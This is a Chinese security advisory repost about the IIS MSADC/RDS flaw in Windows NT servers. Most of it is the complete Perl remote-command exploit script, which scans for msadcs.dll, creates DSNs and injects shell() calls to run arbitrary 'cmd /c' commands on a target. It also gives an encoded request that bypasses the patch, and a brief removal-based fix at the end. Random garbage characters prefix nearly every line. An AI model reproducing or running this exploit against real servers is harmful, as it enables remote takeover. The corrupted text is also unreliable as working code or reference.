IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
'Z T!a]4 VmBLNM? 涉及程序：
-rH4/Iby Microsoft NT server
NWCnt,FlY 4
CX*,7LZ 描述：
b@1 QE 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Syp|s3u; wO8^|Yf 详细：
?N11R? 8 如果你没有时间读详细内容的话，就删除:
7 UQD02 c:\Program Files\Common Files\System\Msadc\msadcs.dll
IZAbW 有关的安全问题就没有了。
\SLYqJ~m qh.c#t 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
0QC*Z ( GrM~ %ng 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
KL5rF,DME 关于利用ODBC远程漏洞的描述，请参看:
}=f}@JlFB Q&QR{ ?PMD http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm G)< k5U4 X/7: * 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
zZiB`% http://www.microsoft.com/security/bulletins/MS99-025faq.asp H?'VQ=j w-\fCp ) 这里不再论述。
jC\R 8_ yaX,s 4p 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
ww\/ $ | Ok:@ F/ v /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
G^2"\4R]p 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
~{5%~8h.0r n Isi ZV Gw@3 #将下面这段保存为txt文件，然后: "perl -x 文件名"
yS3x)) 3c9[FZ@ya #!perl
^k)f oD #
T.1z<l"" # MSADC/RDS 'usage' (aka exploit) script
-%t0'cKn, #
!Uj !Oy # by rain.forest.puppy
V_
]4UE #
Pc(2'r@# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
g|+G(~=e| # beta test and find errors!
Mys;Il " Ffhbs D use Socket; use Getopt::Std;
be764 do getopts("e:vd:h:XR", \%args);
&
9?vQq|% M>]%Iu print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
{UUVN/$ @DUdgPA if (!defined $args{h} && !defined $args{R}) {
rmhCuY?f print qq~
S"eKiS,z Usage: msadc.pl -h <host> { -d <delay> -X -v }
=}q4ked / -h <host> = host you want to scan (ip or domain)
kfVG@ o?o -d <seconds> = delay between calls, default 1 second
w_ {z" VeD -X = dump Index Server path table, if available
I|LS_m -v = verbose
6F(yH4 -e = external dictionary file for step 5
4sJx_Qi Xoik%T- Or a -R will resume a command session
ag+M L1#) VA thQ< ~; exit;}
siG?Sd_2 B{K'"u C $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
(dT!u8O e if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
lZua" Ju if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
yf8UfB#a if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,U tw!] $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
}3*h`(Bv7 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
05zHL j 'qP^MdoE%~ if (!defined $args{R}){ $ret = &has_msadc;
pvM8PlYo]` die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
7L\GI`y I^wj7cFo5 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
,yqzk. . "cmd /c ";
{xy kf7z p $in=<STDIN>; chomp $in;
8qc %{8 $command="cmd /c " . $in ;
A,og9 <+j- !'gz&3B~h if (defined $args{R}) {&load; exit;}
0 iE).Za0g Pz)QOrrG~ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
N1Z8I: &try_btcustmr;
j(BS;J$i 5]Ra?rF print "\nStep 2: Trying to make our own DSN...";
u}rot+)% &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
3D.S[^s* e-')SB print "\nStep 3: Trying known DSNs...";
"@?|Vv ,vn &known_dsn;
X|QCa@Foe bSR<d print "\nStep 4: Trying known .mdbs...";
{UmCn>c &known_mdb;
Hb+#*42v 9e)+<H if (defined $args{e}){
:f YwFD( 9 print "\nStep 5: Trying dictionary of DSN names...";
_ ]S6> &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
p)^:~ ll `p{ !5 print "Sorry Charley...maybe next time?\n";
Y z,!#ob$ exit;
w. Vynb )ra66E ##############################################################################
'*XN gvX
b:QFD| sub sendraw { # ripped and modded from whisker
Riw7< j sleep($delay); # it's a DoS on the server! At least on mine...
@NNLzqqY my ($pstr)=@_;
- h@0 1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\zI&n &T die("Socket problems\n");
7L+X\oaB if(connect(S,pack "SnA4x8",2,80,$target)){
?R]y}6 P$ select(S); $|=1;
;F""}wzn print $pstr; my @in=<S>;
3N"&P@/0x select(STDOUT); close(S);
I PVzV\o return @in;
]jb4Z } else { die("Can't connect...\n"); }}
AMd)d^; T{<@MK%],d ##############################################################################
= b!J)] ! ix<|F5 sub make_header { # make the HTTP request
7Hl_[n| my $msadc=<<EOT
dT )KvqX POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
S8OV G4- User-Agent: ACTIVEDATA
klJ[ {p Host: $ip
@sHw+to|p) Content-Length: $clen
,GJ>vT) Connection: Keep-Alive
b!X "2' H Q3` :l ADCClientVersion:01.06
bez'[Y{ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Dum`o^l# paNw5]
-
--!ADM!ROX!YOUR!WORLD!
(bx\4Ws Content-Type: application/x-varg
OJsd[l3xR Content-Length: $reqlen
;hA7<loY !0 49K!rP{ EOT
bk wa {V ; $msadc=~s/\n/\r\n/g;
Dw`m>'J0 return $msadc;}
"b>KUzuYT 8F ^,8kIR ##############################################################################
48 CI8[T QG|GXp_q` sub make_req { # make the RDS request
9*|3E"Vr my ($switch, $p1, $p2)=@_;
*?bk?*?s my $req=""; my $t1, $t2, $query, $dsn;
% R|"Afa= vV. ~76AD5 if ($switch==1){ # this is the btcustmr.mdb query
,xYsH+ybA $query="Select * from Customers where City=" . make_shell();
=~hsKBt* $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Wzqb>. $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
{@V3?pG?p ^.#X<8hr elsif ($switch==2){ # this is general make table query
M%&A.j[ $query="create table AZZ (B int, C varchar(10))";
2]D$|M?$~ $dsn="$p1";}
RM&H!E<# yQZ/ ,KX elsif ($switch==3){ # this is general exploit table query
#*$_S@ $query="select * from AZZ where C=" . make_shell();
" J
pTE \/ $dsn="$p1";}
TF=k(@9J? j /H>0 ^ elsif ($switch==4){ # attempt to hork file info from index server
i_=?eUq%q/ $query="select path from scope()";
DB`$Ru@ $dsn="Provider=MSIDXS;";}
]3t1=+ _ktK+8*6` elsif ($switch==5){ # bad query
#zS1Z f^KP $query="select";
h
` \$sT!Z $dsn="$p1";}
U!&_mD#
c [ WV@ w $t1= make_unicode($query);
Y=vVxVI\ $t2= make_unicode($dsn);
><NI'q*cQ $req = "\x02\x00\x03\x00";
A%B gp?B $req.= "\x08\x00" . pack ("S1", length($t1));
yo\N[h7 $req.= "\x00\x00" . $t1 ;
C8IkpAD $req.= "\x08\x00" . pack ("S1", length($t2));
i c*->- ! $req.= "\x00\x00" . $t2 ;
;rB6u_5"I. $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
E X%6''ys return $req;}
yoBgr7gS (C daE!I4Q ##############################################################################
{=UFk-$= Fe!D%p Qv sub make_shell { # this makes the shell() statement
Bo`Tl1K# return "'|shell(\"$command\")|'";}
d<Ggw#}:m Z_H?WGO ##############################################################################
#`W=m N(+k LHh5 v"zjG sub make_unicode { # quick little function to convert to unicode
`|$'g^eCL my ($in)=@_; my $out;
I2f?xJ2/Z for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{?E<](+0 return $out;}
s \[LpLt :e*DTVv8 ##############################################################################
'E4AV58. ypx: )e"/ sub rdo_success { # checks for RDO return success (this is kludge)
lnS(&`oh\= my (@in) = @_; my $base=content_start(@in);
l)4O . * if($in[$base]=~/multipart\/mixed/){
#j;Tb2&w return 1 if( $in[$base+10]=~/^\x09\x00/ );}
% Y~>Jl return 0;}
N X pmT4 5?WYsj"
##############################################################################
(Uk>?XAr ~ 9GOk;{~& sub make_dsn { # this makes a DSN for us
<,"4k&0Q>V my @drives=("c","d","e","f");
(n,u|}8Y print "\nMaking DSN: ";
/F.Wigv foreach $drive (@drives) {
,57$N&w print "$drive: ";
07V8;A<, my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
qve
./ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-$ (Jk< . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
NzQ9Z1Mxy $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
JK]R*!{n return 0 if $2 eq "404"; # not found/doesn't exist
0Vkl`DmeM. if($2 eq "200") {
e,>%Z@92( foreach $line (@results) {
kH'p\9= return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
z-d FDtiA } return 0;}
xl(@C*.sC1 L*h{'<Bz ##############################################################################
nd ink$ u: &o}[ sub verify_exists {
j%L&jH 6@
my ($page)=@_;
8"%RCE my @results=sendraw("GET $page HTTP/1.0\n\n");
]5}=^ return $results[0];}
UDy(dn>J:J 1|{bDlmt ##############################################################################
% <"}y $J K<4Kk3 sub try_btcustmr {
:`\)
P, my @drives=("c","d","e","f");
:Zt2'vcGpf my @dirs=("winnt","winnt35","winnt351","win","windows");
n(1')?"mA
\(~wZd foreach $dir (@dirs) {
MP^ d}FL print "$dir -> "; # fun status so you can see progress
BHA923p? foreach $drive (@drives) {
p8}(kHUp( print "$drive: "; # ditto
fpWg R4__ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
E<E3&;qD $reqlenlen=length( "$reqlen" );
S?ujRp $clen= 206 + $reqlenlen + $reqlen;
:O-iykXyI S0d~.ah30 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
2f>PO +4S{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
}|\d+V2On else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
^/U27B WIr2{+# ##############################################################################
h.eM
RdlO m8R9{LC sub odbc_error {
Z[Qza13lo my (@in)=@_; my $base;
Wy .IcWK my $base = content_start(@in);
Rk6deI] if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
;5_{MCPM $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
KLoE&ds $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
NVKC' ==0 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e~l#4{w return $in[$base+4].$in[$base+5].$in[$base+6];}
= ?D(g print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
S! Rc|6y% print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
E/M_l vQ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]z/Zq H}hFFI)#Oo ##############################################################################
!RB) _7 $+JS&k/'m sub verbose {
aNcd`
$0 my ($in)=@_;
Zxr!:t7 return if !$verbose;
e^p
+1-B print STDOUT "\n$in\n";}
W>_]dPB S/ j#r6b]k(Hv ##############################################################################
{]_uMg#! z]B]QB
Y[ sub save {
+T/FeVQ my ($p1, $p2, $p3, $p4)=@_;
7SD F z} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
L`f^y;Y. print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
j /=i Mq close OUT;}
De7T s :NJ_n6E ##############################################################################
$mf
u:tbP glD cUCF3 sub load {
W} WI; cI my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
E_Z{6&r open(IN,"<rds.save") || die("Couldn't open rds.save\n");
!!@A8~H @p=<IN>; close(IN);
8 fA_p}wp $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
EA ]+v q $target= inet_aton($ip) || die("inet_aton problems");
)u))n# P print "Resuming to $ip ...";
SJD@&m%?[ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
>U F if($p[1]==1) {
!.2<| 24 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
V5+SWXZ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
l/;X?g5+ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
*8~86u GU if (rdo_success(@results)){print "Success!\n";}
c/c$D;T else { print "failed\n"; verbose(odbc_error(@results));}}
pv| Pm elsif ($p[1]==3){
\RNg|G if(run_query("$p[3]")){
^u 3V
E print "Success!\n";} else { print "failed\n"; }}
wFG3KzEq ~ elsif ($p[1]==4){
DNGvpKY@ if(run_query($drvst . "$p[3]")){
3u%{d G a print "Success!\n"; } else { print "failed\n"; }}
9x,RvWTb exit;}
Uj&W<'I .<kqJ|SVi ##############################################################################
p r%nbl nUkaz*4qU sub create_table {
B l=tYp|a my ($in)=@_;
>0Q|nCx $reqlen=length( make_req(2,$in,"") ) - 28;
cuOvN"nuNj $reqlenlen=length( "$reqlen" );
!w&kyW?e $clen= 206 + $reqlenlen + $reqlen;
H'Yh2a`!o my @results=sendraw(make_header() . make_req(2,$in,""));
Gh PK-+"X return 1 if rdo_success(@results);
NcY6 08C my $temp= odbc_error(@results); verbose($temp);
JN7k 2]{ return 1 if $temp=~/Table 'AZZ' already exists/;
DTWD |M return 0;}
0uBl>A7qhn l<M'=-Y ##############################################################################
A *W) bZs. |_u aS sub known_dsn {
g-Pwp[!qkf # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
aZ\UrV4, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
@LJpdvb "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
,t1abp{A "banner", "banners", "ads", "ADCDemo", "ADCTest");
=y=cW1TG >}(CEzc8 foreach $dSn (@dsns) {
QBR=0(giF print ".";
Rp$}YN next if (!is_access("DSN=$dSn"));
%vBhLaE if(create_table("DSN=$dSn")){
*Vho?P6y\Y print "$dSn successful\n";
ek&k v #G if(run_query("DSN=$dSn")){
41fJ%f`
G print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,^S@EDq print "Something's borked. Use verbose next time\n";}}} print "\n";}
2B,] -Mu) NV#FvM/#" ##############################################################################
gzeQ|m2] s|D >- sub is_access {
6 PxW8pn my ($in)=@_;
n8. kE)? $reqlen=length( make_req(5,$in,"") ) - 28;
umdG(os R $reqlenlen=length( "$reqlen" );
x]z2Z* $clen= 206 + $reqlenlen + $reqlen;
t=xOQ 8 my @results=sendraw(make_header() . make_req(5,$in,""));
[CAR[
g& my $temp= odbc_error(@results);
\Y{k7^G}A verbose($temp); return 1 if ($temp=~/Microsoft Access/);
YBnA+l* return 0;}
A pjOj/ ncx(pp ##############################################################################
J/3_C6UZ 6)BR +U sub run_query {
w4fW<ISg my ($in)=@_;
N~F
RM& x $reqlen=length( make_req(3,$in,"") ) - 28;
D\e8,,H $reqlenlen=length( "$reqlen" );
a<fUI%_ $clen= 206 + $reqlenlen + $reqlen;
5^j45'%I my @results=sendraw(make_header() . make_req(3,$in,""));
T,$WlK
Wj return 1 if rdo_success(@results);
c*R/]Dn my $temp= odbc_error(@results); verbose($temp);
n3sUbs; return 0;}
*OyHHq|>q +b3^.wkq ##############################################################################
r
6Q Q "kc/J*u-3 sub known_mdb {
j+HHQd7Y my @drives=("c","d","e","f","g");
mLL340c#\ my @dirs=("winnt","winnt35","winnt351","win","windows");
|c`w'W?C6 my $dir, $drive, $mdb;
?:Bv
iF);/ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
yZ!T8"mz{ 72,rFYvpK # this is sparse, because I don't know of many
@}:uu$OH my @sysmdbs=( "\\catroot\\icatalog.mdb",
;vb8G$ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
IVW1]y "\\system32\\certmdb.mdb",
"HXYNS> "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
VAXT{s&4> yOvm`9 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
<`0h|m'U "\\cfusion\\cfapps\\forums\\forums_.mdb",
K'h 1szW "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
|{@FMxn|q "\\cfusion\\cfapps\\security\\realm_.mdb",
wYlf^~#" "\\cfusion\\cfapps\\security\\data\\realm.mdb",
5cWw7V< m "\\cfusion\\database\\cfexamples.mdb",
<?D\+khlq "\\cfusion\\database\\cfsnippets.mdb",
Dn>%%K@0 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
F H1Z 2 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
O3CFme "\\cfusion\\brighttiger\\database\\cleam.mdb",
{%#)5l) "\\cfusion\\database\\smpolicy.mdb",
R N QK "\\cfusion\\database\cypress.mdb",
y?SyInt "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
8 B**8yg. "\\website\\cgi-win\\dbsample.mdb",
21(p|` X "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
/W<>G7%. "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
mYU9
trHV ); #these are just
07Ed fe foreach $drive (@drives) {
&ZTr foreach $dir (@dirs){
(
9]_ HW[ foreach $mdb (@sysmdbs) {
eX_D/25 $ print ".";
t5[[JD1V if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
N
D<HX O print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
]!IVz)<E& if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
C. kxQ< print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
W0=O+0$^ } else { print "Something's borked. Use verbose next time\n"; }}}}}
&gI ~LP SwU\
q]^|Z foreach $drive (@drives) {
iZZ (4 foreach $mdb (@mdbs) {
}za[E>z print ".";
= P if(create_table($drv . $drive . $dir . $mdb)){
wKH ::! print "\n" . $drive . $dir . $mdb . " successful\n";
nhN);R~o"1 if(run_query($drv . $drive . $dir . $mdb)){
#Oha(mRY print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
x 2QIPUlf } else { print "Something's borked. Use verbose next time\n"; }}}}
D3c2^r $Z }
$# |gLVOQ vLxQ *50v$ ##############################################################################
}$\M{# C~ p!/[K6u sub hork_idx {
^;c 16 print "\nAttempting to dump Index Server tables...\n";
,/O[=9l36R print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
j|tC@0A $reqlen=length( make_req(4,"","") ) - 28;
sK= 0Np=` $reqlenlen=length( "$reqlen" );
>]%8Zx[ $clen= 206 + $reqlenlen + $reqlen;
StI1){Wf my @results=sendraw2(make_header() . make_req(4,"",""));
?`[NFqv _] if (rdo_success(@results)){
.qA{x bu my $max=@results; my $c; my %d;
>h+349 for($c=19; $c<$max; $c++){
}CxvT`/ $results[$c]=~s/\x00//g;
[j4v] PE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
;#MB7A
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
B??J@+Nf $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
4'p=p#o $d{"$1$2"}="";}
NU (AEfF foreach $c (keys %d){ print "$c\n"; }
RmI1` } else {print "Index server doesn't seem to be installed.\n"; }}
^2 ]LV6I \ (p{t ##############################################################################
xug)aE 7FO'{Qq sub dsn_dict {
_ IeU+tS open(IN, "<$args{e}") || die("Can't open external dictionary\n");
79=45' 8 while(<IN>){
//Ai.Q.J[ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
YK{a next if (!is_access("DSN=$dSn"));
KLC{7"6e) if(create_table("DSN=$dSn")){
@ d"wAZzD? print "$dSn successful\n";
h.K(P+h if(run_query("DSN=$dSn")){
o/o:2p. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Y\2|x*KwvF print "Something's borked. Use verbose next time\n";}}}
}1-I[q6 print "\n"; close(IN);}
oPKXZU(c E 2 B>b[ ##############################################################################
sCl$f7" 2i |B=D( sub sendraw2 { # ripped and modded from whisker
<Q<+4Y{R sleep($delay); # it's a DoS on the server! At least on mine...
;3C:%!CdA] my ($pstr)=@_;
nU`Lhh8y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
SK$ Vk[c] die("Socket problems\n");
u&QKwD Uh if(connect(S,pack "SnA4x8",2,80,$target)){
6aOp[-Le print "Connected. Getting data";
>u J/TQU open(OUT,">raw.out"); my @in;
^;F{)bmu+) select(S); $|=1; print $pstr;
f+vVR1 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
*@V*~^V"J[ close(OUT); select(STDOUT); close(S); return @in;
ZkB3[$4C=5 } else { die("Can't connect...\n"); }}
(sw-~U% =7
,Kf} 6 ##############################################################################
`#IcxweA /-0'
Qa+* sub content_start { # this will take in the server headers
=FW5Tkw0 my (@in)=@_; my $c;
}1+%_|Y-E for ($c=1;$c<500;$c++) {
#p
yim_ if($in[$c] =~/^\x0d\x0a/){
9>,Qgp,w if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
&d`^ E6# else { return $c+1; }}}
x k~Nmb} return -1;} # it should never get here actually
R_D c) Qu{c B^Ga* ##############################################################################
~tm0QrJn/ INMP"1 sub funky {
/c+)C " my (@in)=@_; my $error=odbc_error(@in);
#\If]w*j if($error=~/ADO could not find the specified provider/){
:,*eX' fH print "\nServer returned an ADO miscofiguration message\nAborting.\n";
B!aK exit;}
: \V,k~asl if($error=~/A Handler is required/){
VTe.M[: print "\nServer has custom handler filters (they most likely are patched)\n";
nJ3vi}` exit;}
a5`eyL[f if($error=~/specified Handler has denied Access/){
;MTz]c print "\nServer has custom handler filters (they most likely are patched)\n";
9Yw]Y5l exit;}}
DacJ,in_I{ jv}=&d ##############################################################################
#7z|mVzH -Fwh3F 4g sub has_msadc {
6 `puTL? my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Z6=~1'< X my $base=content_start(@results);
~y\:iL//E return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
K=kH%ZK return 0;}
t;Wotfc[#0 0P 5BArJ? ########################
k0&lu B% <NQyP{p aV|k }H{wt 解决方案：
3&J&^O 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
q`loOm=y 2、移除web 目录: /msadc
